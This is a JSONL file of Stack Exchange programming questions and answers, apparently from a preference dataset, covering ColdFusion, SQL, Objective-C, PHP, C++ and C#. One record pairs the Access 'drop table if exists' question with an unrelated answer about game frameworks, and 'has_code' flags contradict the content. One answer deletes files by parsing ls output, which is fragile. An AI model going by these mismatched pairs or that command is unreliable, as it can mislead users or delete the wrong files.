{"id": "hf_4390b2c5391e", "question": "<p>Been going over my predecessor's code and see usage of the \"request\" scope frequently. What is the appropriate usage of this scope?</p>\n", "question_body": "", "answer": "There are several scopes that are available to any portion of your code: Session, Client, Cookie, Application, and Request. Some are inadvisable to use in certain ways (i.e. using Request or Application scope inside your Custom Tags or CFC's; this is\ncoupling\n, violates encapsulation principles, and is considered a bad practice), and some have special purposes: Cookie is persisted on the client machine as physical cookies, and Session scoped variables are user-specific and expire with the user's session on the website.\nIf a variable is extremely unlikely to change (constant for all intents and purposes) and can simply be initialized on application startup and never written again, generally you should put it into Application scope because this persists it between every user and every session. When properly implemented it is written once and read N times.\nA proper implementation of Application variables in Application.cfm might look like this:\n```\n```\n<cfif not structKeyExists(application, \"dsn\")>\n    <cflock scope=\"application\" type=\"exclusive\" timeout=\"30\">\n        <cfif not structKeyExists(application, \"dsn\")>\n            <cfset application.dsn = \"MyDSN\" />\n            <cfset foo = \"bar\" />\n            <cfset x = 5 />\n        </cfif>\n    </cflock>\n</cfif>\n```\n```\nNote that the existence of the variable in the application scope is checked before and after the lock, so that if two users create a race condition at application startup, only one of them will end up setting the application variables.\nThe benefit of this approach is that it won't constantly refresh these stored variables on every request, wasting the user's time and the server's processing cycles. The trade-off is that it is a little verbose and complex.\nThis was greatly simplified with the addition of Application.cfc. Now, you can specify which variables are created on application startup and don't have to worry about locking and checking for existence and all of that fun stuff:\n```\n```\n<cfcomponent>\n    <cfset this.name = \"myApplicationName\" />\n\n    <cffunction name=\"onApplicationStart\" returnType=\"boolean\" output=\"false\">\n        <cfset application.dsn = \"MyDSN\" />\n        <cfset foo = \"bar\" />\n        <cfset x = 5 />\n        <cfreturn true />\n    </cffunction>\n</cfcomponent>\n```\n```\nFor more information on Application.cfc including all of the various special functions available and every little detail about what and how to use it,\nI recommend this post on Raymond Camden's blog\n.\nTo summarize, request scope is available everywhere in your code, but that doesn't necessarily make it \"right\" to use it everywhere. Chances are that your predecessor was using it to break encapsulation, and that can be cumbersome to refactor out. You may be best off leaving it as-is, but understanding which scope is the best tool for the job will definitely make your future code better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.008696"}
{"id": "hf_4560f0bab3fb", "question": "<p>In coding a traditional MVC application, what is the best practice for coding server-side form validations? Does the code belong in the controller, or the model layer? And why?</p>\n", "question_body": "", "answer": "From Wikipedia:\nModel-view-controller\n(MVC) is an architectural pattern used in software engineering. Successful use of the pattern isolates business logic from user interface considerations, resulting in an application where it is easier to modify either the visual appearance of the application or the underlying business rules without affecting the other. In MVC, the model represents the information (the data) of the application and the business rules used to manipulate the data; the view corresponds to elements of the user interface such as text, checkbox items, and so forth; and the controller manages details involving the communication to the model of user actions such as keystrokes and mouse movements.\nThus, model - it holds the application and the business rules.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.033679"}
{"id": "hf_0557d6be481c", "question": "<p>I'm learning objective-C and Cocoa and have come across this statement:</p>\n\n<blockquote>\n  <p>The Cocoa frameworks expect that global string constants rather than string literals are used for dictionary keys, notification and exception names, and some method parameters that take strings.</p>\n</blockquote>\n\n<p>I've only worked in higher level languages so have never had to consider the details of strings that much. What's the difference between a string constant and string literal?</p>\n", "question_body": "", "answer": "Let's use C++, since my Objective C is totally non-existent.\nIf you stash a string into a constant variable:\n```\n```\nconst std::string mystring = \"my string\";\n```\n```\nNow when you call methods, you use my_string, you're using a string constant:\n```\n```\nsomeMethod(mystring);\n```\n```\nOr, you can call those methods with the string literal directly:\n```\n```\nsomeMethod(\"my string\");\n```\n```\nThe reason, presumably, that they encourage you to use string constants is because Objective C doesn't do \"interning\"; that is, when you use the same string literal in several places, it's actually a different pointer pointing to a separate copy of the string.\nFor dictionary keys, this makes a huge difference, because if I can see the two pointers are pointing to the same thing, that's much cheaper than having to do a whole string comparison to make sure the strings have equal value.\nEdit:\nMike, in C# strings are immutable, and literal strings with identical values all end pointing at the same string value. I imagine that's true for other languages as well that have immutable strings. In Ruby, which has mutable strings, they offer a new data-type: symbols (\"foo\" vs. :foo, where the former is a mutable string, and the latter is an immutable identifier often used for Hash keys).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.069434"}
{"id": "hf_aa72a1d299b8", "question": "<p>I'm learning objective-c and keep bumping into the @ symbol. It is used in different scenarios, for example at the start of a string or to synthesise accessor methods. </p>\n\n<p>What's does the @ symbol mean in objective-c?</p>\n", "question_body": "", "answer": "From\nObjective-C Tutorial: The @ Symbol\n, the reason it is on the front of various keywords:\nUsing @ should make it easier to bolt an Objective-C compiler on to an existing C compiler. Because the @ isn't valid in any context in C except a string literal, the tokenizer (an early and simple step in the compiler) could be modified to simply look for the @ character outside of a string constant (the tokenizer understands string literals, so it is in a position to distinguish this). When @ is encountered the tokenizer would put the rest of the compiler in \"Objective-C mode.\" (The Objective-C parser would be responsible for returning the compiler back to regular C mode when it detects the end of the Objective-C code).\nAlso when seen in front of a string literal, it makes an NSString rather than a 'char *' in C.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.094191"}
{"id": "hf_8f54d0afdd08", "question": "<p>In a drop down list, I need to add spaces in front of the options in the list. I am trying</p>\n\n<pre><code>&lt;select&gt;\n&lt;option&gt;&amp;#32;&amp;#32;Sample&lt;/option&gt;\n&lt;/select&gt;\n</code></pre>\n\n<p>for adding two spaces but it displays no spaces. How can I add spaces before option texts?</p>\n", "question_body": "", "answer": "```\n```\n&nbsp;\n```\n```\nCan you try that? Or is it the same?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.118188"}
{"id": "hf_02c52c123dd5", "question": "<p>I'm in the process of weeding out all hardcoded values in a Java library and was wondering what framework would be the best (in terms of zero- or close-to-zero configuration) to handle run-time configuration? I would prefer XML-based configuration files, but it's not essential. </p>\n\n<p>Please do only reply if you have practical experience with a framework. I'm not looking for examples, but experience...</p>\n", "question_body": "", "answer": "If your hardcoded values are just simple key-value pairs, you should look at\njava.util.Properties\n.  It's a lot simpler than xml, easier to use, and mind-numbingly trivial to implement.\nIf you are working with Java and the data you are storing or retrieving from disk is modeled as a key value pair (which it sounds like it is in your case), then I really can't imagine a better solution.\nI have used properties files for simple configuration of small packages in a bigger project, and as a more global configuration for a whole project, and I have never had problems with it.\nOf course this has the huge benefit of not requiring any 3rd party libraries to utilize.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.142544"}
{"id": "hf_e521ff1f9450", "question": "<p>Is there a simple way, in a pretty standard UNIX environment with bash, to run a command to delete all but the most recent X files from a directory?</p>\n\n<p>To give a bit more of a concrete example, imagine some cron job writing out a file (say, a log file or a tar-ed up backup) to a directory every hour. I'd like a way to have another cron job running which would remove the oldest files in that directory until there are less than, say, 5.</p>\n\n<p>And just to be clear, there's only one file present, it should never be deleted.</p>\n", "question_body": "", "answer": "Remove all but 5 (or whatever number) of the most recent files in a directory.\n```\n```\nrm `ls -t | awk 'NR>5'`\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.190924"}
{"id": "hf_9dddd71be71e", "question": "<p>Without local access to the server, is there any way to duplicate/clone a MySQL db (with content and without content) into another without using <code>mysqldump</code>?</p>\n\n<p>I am currently using MySQL 4.0.</p>\n", "question_body": "", "answer": "You can duplicate a table without data by running:\n```\n```\nCREATE TABLE x LIKE y;\n```\n```\n(See the\nMySQL CREATE TABLE\nDocs)\nYou could write a script that takes the output from\n```\nSHOW TABLES\n```\nfrom one database and copies the schema to another. You should be able to reference schema+table names like:\n```\n```\nCREATE TABLE x LIKE other_db.y;\n```\n```\nAs far as the data goes, you can also do it in MySQL, but it's not necessarily fast. After you've created the references, you can run the following to copy the data:\n```\n```\nINSERT INTO x SELECT * FROM other_db.y;\n```\n```\nIf you're using MyISAM, you're better off to copy the table files; it'll be much faster. You should be able to do the same if you're using INNODB with\nper table table spaces\n.\nIf you do end up doing an\n```\nINSERT INTO SELECT\n```\n, be sure to temporarily\nturn off indexes\nwith\n```\nALTER TABLE x DISABLE KEYS\n```\n!\nEDIT\nMaatkit\nalso has some scripts that may be helpful for syncing data. It may not be faster, but you could probably run their syncing scripts on live data without much locking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.215968"}
{"id": "hf_6e6e56c4f351", "question": "<p>If I have Python code</p>\n\n<pre><code>class A():\n    pass\nclass B():\n    pass\nclass C(A, B):\n    pass\n</code></pre>\n\n<p>and I have class <code>C</code>, is there a way to iterate through it's super classed (<code>A</code> and <code>B</code>)? Something like pseudocode:</p>\n\n<pre><code>&gt;&gt;&gt; magicGetSuperClasses(C)\n(&lt;type 'A'&gt;, &lt;type 'B'&gt;)\n</code></pre>\n\n<p>One solution seems to be <a href=\"http://docs.python.org/lib/module-inspect.html\" rel=\"noreferrer\">inspect module</a> and <code>getclasstree</code> function.</p>\n\n<pre><code>def magicGetSuperClasses(cls):\n    return [o[0] for o in inspect.getclasstree([cls]) if type(o[0]) == type]\n</code></pre>\n\n<p>but is this a \"Pythonian\" way to achieve the goal?</p>\n", "question_body": "", "answer": "```\nC.__bases__\n```\nis an array of the super classes, so you could implement your hypothetical function like so:\n```\n```\ndef magicGetSuperClasses(cls):\n  return cls.__bases__\n```\n```\nBut I imagine it would be easier to just reference\n```\ncls.__bases__\n```\ndirectly in most cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.251802"}
{"id": "hf_5b948e6d3f47", "question": "<p>I have seen <a href=\"http://blogs.msdn.com/djpark/archive/2007/11/07/how-to-use-solutions-and-projects-between-visual-studio-2005-and-2008.aspx\" rel=\"nofollow noreferrer\">Solutions created in Visual Studio 2008 cannot be opened in Visual Studio 2005</a> and tried workaround 1. Yet to try the workaround 2. </p>\n\n<p>But as that link was bit old and out of desperation asking here: Is there any convertor available?</p>\n\n<hr>\n\n<p>I dont have VS2008 yet and i wanted to open an opensource solution which was done in vs2008.</p>\n\n<p>Guess i have to fiddle around or wait till the vs2008 is shipped.</p>\n", "question_body": "", "answer": "I'd say you should restore your 2005 version from source control, assuming you have source control and a 2005 copy of the file.\nOtherwise, there are plenty of pages on the net that details the changes, but unfortunately no ready-made converter program that will do it for you.\nBe aware that as soon as you open the file in 2008 again, it'll be upgraded once more.\nPerhaps the solution (no pun intended) is to keep separate copy of the project and solution files for 2005 and 2008?\nWhy do you want to open it in 2005 anyway?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.275484"}
{"id": "hf_7ab0de867d81", "question": "<p>How do you get the maximum number of bytes that can be passed to a <code>sendto(..)</code> call for a socket opened as a UDP port?</p>\n", "question_body": "", "answer": "As UDP is not connection oriented there's no way to indicate that two packets belong together. As a result you're limited by the maximum size of a single IP packet (65535). The data you can send is somewhat less that that, because the IP packet size also includes the IP header (usually 20 bytes) and the UDP header (8 bytes).\nNote that this IP packet can be fragmented to fit in smaller packets (eg. ~1500 bytes for ethernet).\nI'm not aware of any OS restricting this further.\nBonus\n```\nSO_MAX_MSG_SIZE\n```\nof UDP packet\nIPv4: 65,507 bytes\nIPv6: 65,527 bytes", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.298819"}
{"id": "hf_aa0841666f35", "question": "<p>I know that MAC OS X 10.5 comes with Apache installed but I would like to install the latest Apache without touching the OS Defaults incase it causes problems in the future with other udpates. So I have used the details located at: <a href=\"http://diymacserver.com/installing-apache/compiling-apache-on-leopard/\" rel=\"nofollow noreferrer\">http://diymacserver.com/installing-apache/compiling-apache-on-leopard/</a> But I'm unsure how to make this the 64 Bit version of Apache as it seems to still install the 32 bit version.</p>\n\n<p>Any help is appreciated</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "Add this to your ~/.bash_profile which means that your architecture is 64-bit ant you’d like to compile Universal binaries.\n```\n```\nexport CFLAGS=\"-arch x86_64\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.322449"}
{"id": "hf_5252617fd2aa", "question": "<p>My good friend, Wikipedia, <a href=\"http://en.wikipedia.org/wiki/Language_binding\" rel=\"noreferrer\">didn't give me a very good response</a> to that question. So:</p>\n\n<ul>\n<li>What are language bindings?</li>\n<li>How do they work?</li>\n</ul>\n\n<p>Specifically accessing functions from code written in language X of a library written in language Y.</p>\n", "question_body": "", "answer": "In Flex (Actionscript 3).\nSource\nA data binding copies the value of a property in one object to a property in another object. You can bind the properties of following objects: Flex components, Flex data models, and Flex data services.\nThe object property that provides the data is known as the source property. The object property that receives the data is known as the destination property.\nThe following example binds the text property of a TextInput component (the source property) to the text property of a Label component (the destination property) so that text entered in the TextInput component is displayed by the Label component:\n```\n```\n<mx:TextInput id=\"LNameInput\"></mx:TextInput>\n...\n<mx:Label text=\"{LNameInput.text}\"></mx:Label>\n```\n```\nData binding is usually a simple way to bind a model to user interface components. For example, you have a class with a FirstName property. In flex you could easily bind that property to a textbox by setting the value of the textbox to {Object.FirstName}. Then, every time that FirstName property changes, the textbox will be updated without requiring you to write any code to monitor that property for changes.\nHope that helps.\nMatt", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.345736"}
{"id": "hf_b32966985fa0", "question": "<p>We created several custom web parts for SharePoint 2007. They work fine. However whenever they are loaded, we get an error in the event log saying:</p>\n\n<blockquote>\n  <p>error initializing safe control - Assembly: ...</p>\n</blockquote>\n\n<p>The assembly actually loads fine. Additionally, it is correctly listed in the <code>web.config</code> and <code>GAC</code>.</p>\n\n<p>Any ideas about how to stop these (Phantom?) errors would be appreciated.\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "You need to add a safecontrol entry to the web,config file, have a look at the following:\n```\n```\n<SafeControls>\n  <SafeControl\n    Assembly = \"Text\"\n    Namespace = \"Text\"\n    Safe = \"TRUE\" | \"FALSE\"\n    TypeName = \"Text\"/>\n  ...\n</SafeControls>\n```\n```\nhttp://msdn.microsoft.com/en-us/library/ms413697.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.368827"}
{"id": "hf_40d164f09cfb", "question": "<p>Back when I was at school, I remember tinkering with a Mac game where you programmed little robots in a sort of pseudo-assembler language which could then battle each other. They could move themselves around the arena, look for opponents in different directions, and fire some sort of weapon. Pretty basic stuff, but I remember it quite fondly, even if I can't remember the name.</p>\n\n<p>Are there any good modern day equivalents?</p>\n", "question_body": "", "answer": "I used to have a lot of fun coding my own robot with\nRobocode\nin college.\nIt is Java based, the API is detailled and it's pretty easy to get a challenging robot up and running.\nHere is an example :\n```\n```\npublic class MyFirstRobot extends Robot {\n     public void run() {\n         while (true) {\n             ahead(100);\n             turnGunRight(360);\n             back(100);\n             turnGunRight(360);\n         }\n     }\n\n     public void onScannedRobot(ScannedRobotEvent e) {\n         fire(1);\n     }\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.450325"}
{"id": "hf_64653d8a4de8", "question": "<p>I am trying to <code>INSERT INTO</code> a table using the input from another table. Although this is entirely feasible for many database engines, I always seem to struggle to remember the correct syntax for the <code>SQL</code> engine of the day (<a href=\"http://en.wikipedia.org/wiki/MySQL\" rel=\"noreferrer\">MySQL</a>, <a href=\"http://en.wikipedia.org/wiki/Oracle_Database\" rel=\"noreferrer\">Oracle</a>, <a href=\"http://en.wikipedia.org/wiki/Microsoft_SQL_Server\" rel=\"noreferrer\">SQL Server</a>, <a href=\"http://en.wikipedia.org/wiki/IBM_Informix\" rel=\"noreferrer\">Informix</a>, and <a href=\"http://en.wikipedia.org/wiki/IBM_DB2\" rel=\"noreferrer\">DB2</a>).</p>\n\n<p>Is there a silver-bullet syntax coming from an SQL standard (for example, <a href=\"http://en.wikipedia.org/wiki/SQL-92\" rel=\"noreferrer\">SQL-92</a>) that would allow me to insert the values without worrying about the underlying database?</p>\n", "question_body": "", "answer": "Try:\n```\n```\nINSERT INTO table1 ( column1 )\nSELECT  col1\nFROM    table2\n```\n```\nThis is standard ANSI SQL and should work on any DBMS\nIt definitely works for:\nOracle\nMS SQL Server\nMySQL\nPostgres\nSQLite v3\nTeradata\nDB2\nSybase\nVertica\nHSQLDB\nH2\nAWS RedShift\nSAP HANA\nGoogle Spanner", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.474095"}
{"id": "hf_1c3a23bae719", "question": "<p>Is there an easy way to iterate over an associative array of this structure in PHP:</p>\n\n<p>The array <code>$searches</code> has a numbered index, with between 4 and 5 associative parts. So I not only need to iterate over <code>$searches[0]</code> through <code>$searches[n]</code>, but also <code>$searches[0][\"part0\"]</code> through <code>$searches[n][\"partn\"]</code>. The hard part is that different indexes have different numbers of parts (some might be missing one or two).</p>\n\n<p>Thoughts on doing this in a way that's nice, neat, and understandable?</p>\n", "question_body": "", "answer": "You should be able to use a nested foreach statment\nfrom the\nphp manual\n```\n```\n/* foreach example 4: multi-dimensional arrays */\n$a = array();\n$a[0][0] = \"a\";\n$a[0][1] = \"b\";\n$a[1][0] = \"y\";\n$a[1][1] = \"z\";\n\nforeach ($a as $v1) {\n    foreach ($v1 as $v2) {\n        echo \"$v2\\n\";\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.567953"}
{"id": "hf_e74fdb5b464a", "question": "<p>I've done this before in C++ by including sqlite.h but is there a similarly easy way in C#?</p>\n", "question_body": "", "answer": "There is a list of Sqlite wrappers for .Net at\nhttp://www.sqlite.org/cvstrac/wiki?p=SqliteWrappers\n. From what I've heard\nhttp://sqlite.phxsoftware.com/\nis quite good. This particular one lets you access Sqlite through ADO.Net just like any other database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.591740"}
{"id": "hf_15523f642332", "question": "<p>I'm starting to develop a browser-based game (and by this I mean text-based, no Flash or similar stuff on it) and I'm struggling to decide on which development framework to use.</p>\n\n<p>As far as requirements are concerned, the most important thing that I can think of right now is the ability to translate it to several languages. A good object-relational mapping and a way to generate forms from logical objects would also be very good, as I've noticed that I always spend lots of time solving the problems that come up when I change any of those things.</p>\n\n<p>The programming language is kind of unimportant. I have some experience in PHP and C#, but I don't mind, and I would even like to use this as an excuse, learning some new thing like Python or Ruby. What I do want is something with a good and thriving community and lots of samples and tutorials online to help me.</p>\n", "question_body": "", "answer": "I would reccomend sticking to what you know - PHP is more than capable.\nI used to play a game called\nHyperiums\n- a text based browser game like yours - which is created using Java (it's web-based quivalent is JSP?) and servlets. It works fairly well (it has had downtime issues but those were more related to it's running on a pretty crap server).\nAs for which framework to use - why not create your own? Spend a good amount of time pre-coding deciding how you're going to handle various things - such as langauge support: you could use a phrase system or seperate langauge-specific templates. Third party frameworks are probably better tested than one you make but they're not created for a specific purpose, they're created for a wide range of purposes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.636473"}
{"id": "hf_909711572137", "question": "<p>I have an Access database in which I drop the table and then create the table afresh.  However, I need to be able to test for the table in case the table gets dropped but not created (i.e. when someone stops the DTS package just after it starts -roll-eyes- ).  If I were doing this in the SQL database I would just do:</p>\n\n<pre><code>IF (EXISTS (SELECT * FROM sysobjects WHERE name = 'Table-Name-to-look-for'))\nBEGIN\ndrop table 'Table-Name-to-look-for'\nEND\n</code></pre>\n\n<p>But how do I do that for an Access database?</p>\n\n<p>Optional answer: is there a way to have the DTS package ignore the error and just go to the next step rather than checking to see if it exists?</p>\n\n<p>SQL Server 2000</p>\n", "question_body": "", "answer": "I would reccomend sticking to what you know - PHP is more than capable.\nI used to play a game called\nHyperiums\n- a text based browser game like yours - which is created using Java (it's web-based quivalent is JSP?) and servlets. It works fairly well (it has had downtime issues but those were more related to it's running on a pretty crap server).\nAs for which framework to use - why not create your own? Spend a good amount of time pre-coding deciding how you're going to handle various things - such as langauge support: you could use a phrase system or seperate langauge-specific templates. Third party frameworks are probably better tested than one you make but they're not created for a specific purpose, they're created for a wide range of purposes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.655168"}
{"id": "hf_f4c13a6b0ed8", "question": "<p>What strategies have you used with Model Based Testing?</p>\n\n<ul>\n<li>Do you use it exclusively for\nintegration testing, or branch it\nout to other areas\n(unit/functional/system/spec verification)? </li>\n<li>Do you build focused \"sealed\" models  or do you evolve complex onibus models over time?</li>\n<li>When in the product cycle do you invest in creating MBTs?</li>\n<li>What sort of base test libraries do you exclusively create for  MBTs?</li>\n<li><p>What difference do you make in your functional base test libraries to better support MBTs?\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p></li>\n</ul>\n", "question_body": "", "answer": "We haven't done any/much I&T and use unit testing almost exclusively, seasoned with a bit of system testing. But our focus is clearly on unit testing. I'm pretty strict on the APIs we build/provide, so the assumption is, if it works by itself, it will work in conjunction and there hasn't been much wrong in it yet.\nOur models are focused on a single purpose/module with as little dependencies as possible.\nThe focus is always to start as early as possible (TDD-kinda), but unfortunately we don't always get to it. The problem is, you always have to sell it to management and then it's hard because while testing improves stability (overall QA), the people from the outside (outside of tech) can't really relate to what that means until something bad happened.\nSince we use PHP, we employ PHPUnit for the unit tests. All in all, we do CI with various different tools. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.675068"}
{"id": "hf_45f55ca4e94a", "question": "<p>I have a couple of questions regarding VBScript and ASP Classic:</p>\n\n<ol>\n<li><p>What is the preferred way to access an MS SQL Server database in VBScript/ASP?</p></li>\n<li><p>What are best practices in regards to separating model from view from controller?</p></li>\n<li><p>Any other things I should know about either VBScript or ASP?</p></li>\n</ol>\n\n<p>If you haven't noticed, I'm new at VBScript coding.  I realize numbers 2 &amp; 3 are kind of giant \"black hole\" questions that are overly general, so don't think that I'm expecting to learn everything there is to know about those two questions from here.</p>\n", "question_body": "", "answer": "ADO is an excellent way to access a database in VBScript/Classic ASP.\n```\n```\nDim db: Set db = Server.CreateObject(\"ADODB.Connection\")\ndb.Open \"yourconnectionstring -> see connectionstrings.com\"\nDim rs: Set rs = db.Execute(\"SELECT firstName from Employees\")\nWhile Not rs.EOF\n    Response.Write rs(\"firstName\")\n    rs.MoveNext\nWend\nrs.Close\n```\n```\nMore info here:\nhttp://www.technowledgebase.com/2007/06/12/vbscript-how-to-create-an-ado-connection-and-run-a-query/\nOne caveat is that if you are returning a MEMO field in a recordset, be sure you only select ONE MEMO field at a time, and make sure it is the LAST column in your query.  Otherwise you will run into problems.\n(Reference:\nhttp://lists.evolt.org/archive/Week-of-Mon-20040329/157305.html\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.765285"}
{"id": "hf_726e47ee2a5d", "question": "<p>C++ 0x has template aliases (sometimes referred to as template typedefs). See <a href=\"http://en.wikipedia.org/wiki/C%2B%2B0x#Alias_templates\" rel=\"noreferrer\">here</a>. Current spec of C++ does not. </p>\n\n<p>What do you like to use as work around ? Container objects or Macros ?\nDo you feel its worth it ?</p>\n", "question_body": "", "answer": "What do you like to use as work around ? Container objects or Macros ? Do you feel its worth it ?\nThe canonical way is to use a metafunction like thus:\n```\n```\ntemplate <typename T>\nstruct my_string_map {\n    typedef std::map<std::string, T> type;\n};\n\n// Invoke:\n\nmy_string_map<int>::type my_str_int_map;\n```\n```\nThis is also used in the STL (\n```\nallocator::rebind<U>\n```\n) and in many libraries including Boost. We use it extensively in a\nbioinformatical library\n.\nIt's bloated, but it's the best alternative 99% of the time. Using macros here is not worth the many downsides.\n(EDIT: I've amended the code to reflect Boost/STL conventions as pointed out by Daniel in his comment.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.847352"}
{"id": "hf_23328445d8fc", "question": "<p>I've always wanted to be able to get a reasonably elegant way of getting vimdiff to work with a CVS controlled file. I've found numerous (somewhat hacky) scripts around the internet (best example <a href=\"http://www.vim.org/tips/tip.php?tip_id=390\" rel=\"noreferrer\">here</a>) that basically check out the file you are editing from CVS to a temp file, and vimdiff the two. None of these take into account branches, and always assume you're working from MAIN, which for me is completely useless. </p>\n\n<p>So, my question is this: has anyone out there found a decent solution for this that does more than this script?</p>\n\n<p>Or failing that, does anyone have any ideas of how they would implement this, or suggestions for what features you would consider vital for something that does this? My intention is that, if no one can suggest an already built solution to either use or build from, we start building one from here. </p>\n", "question_body": "", "answer": "You could change the call to\n```\ncvs\n```\nto take branches into account. That shouldn't be to hard. It bit harder would to change the whole function and make the branch your working a variable (argument, session, global or otherwise).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.904145"}
{"id": "hf_a63632b3fac5", "question": "<p>I am looking for a very fast way to filter down a collection in C#.  I am currently using generic <code>List&lt;object&gt;</code> collections, but am open to using other structures if they perform better.</p>\n<p>Currently, I am just creating a new <code>List&lt;object&gt;</code> and looping thru the original list.  If the filtering criteria matches, I put a copy into the new list.</p>\n<p>Is there a better way to do this?  Is there a way to filter in place so there is no temporary list required?</p>\n", "question_body": "", "answer": "If you're using C# 3.0 you can use linq, which is way better and way more elegant:\n```\n```\nList<int> myList = GetListOfIntsFromSomewhere();\n\n// This will filter ints that are not > 7 out of the list; Where returns an\n// IEnumerable<T>, so call ToList to convert back to a List<T>.\nList<int> filteredList = myList.Where(x => x > 7).ToList();\n```\n```\nIf you can't find the\n```\n.Where\n```\n, that means you need to import\n```\nusing System.Linq;\n```\nat the top of your file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, 